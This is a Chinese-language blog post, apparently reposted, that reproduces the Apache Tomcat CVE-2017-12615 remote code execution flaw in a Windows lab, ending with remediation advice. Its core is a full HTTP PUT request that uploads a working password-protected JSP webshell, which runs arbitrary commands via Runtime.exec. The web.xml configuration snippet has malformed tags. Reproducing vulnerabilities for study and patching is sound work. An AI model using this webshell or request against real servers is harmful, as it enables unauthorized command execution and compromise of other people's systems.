Tomcat遠程代碼執行漏洞CVE-2017-12615復現


一、背景

2017年9月19日,Apache Tomcat官方確認並修復了兩個高危漏洞,其中就有遠程代碼執行漏洞(CVE-2017-12615),當存在漏洞的Tomcat運行在Windows主機上,且啟用了HTTP PUT請求方法,惡意訪問者通過構造的請求向服務器上傳包含任意diam的JSP文件,造成任意代碼執行,危害十分嚴重。

二、影響范圍

Apache Tomcat 7.0.0-7.0.81

三、測試環境

Windows 7

Apache Tomcat 7.0.56

JDK

四、漏洞復現

Tomcat 漏洞版本7.0.56下載

https://archive.apache.org/dist/tomcat/tomcat-7/v7.0.56/bin/

根據自己的系統版本選擇合適的安裝包

 

安裝

 

需要JDK環境

 

訪問http://localhost:8080得到以下頁面即為安裝完成。

 

 完成之后打開conf/web.xml文件,默認readonly為true,禁止HTTP進行PUT和DELETE 類型請求:

當web.xml中readonly設置為false時可以通過PUT/DELETE進行文件操控,觸發漏洞。

修改web.xml中readonly參數為false。

找到這個位置,加上這句

<init-param>
    <param-name>readonly<param-name>
    <param-name>false<param-name>
</init-param>

 

啟動tomcat,使用burpsuite發送構造的webshell

 

PUT /1.jsp/ HTTP/1.1
Host: 192.168.243.129:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 660

<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>

訪問如下地址驗證小馬

 

五、修復建議

  1. 配置readonly的值為true或注釋參數,禁止使用PUT方法並重啟tomcat。注意如果禁用PUT方法,對於依賴PUT方法的應用,可能導致應用無法工作。
  2. 根據官方補丁升級最新版本。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM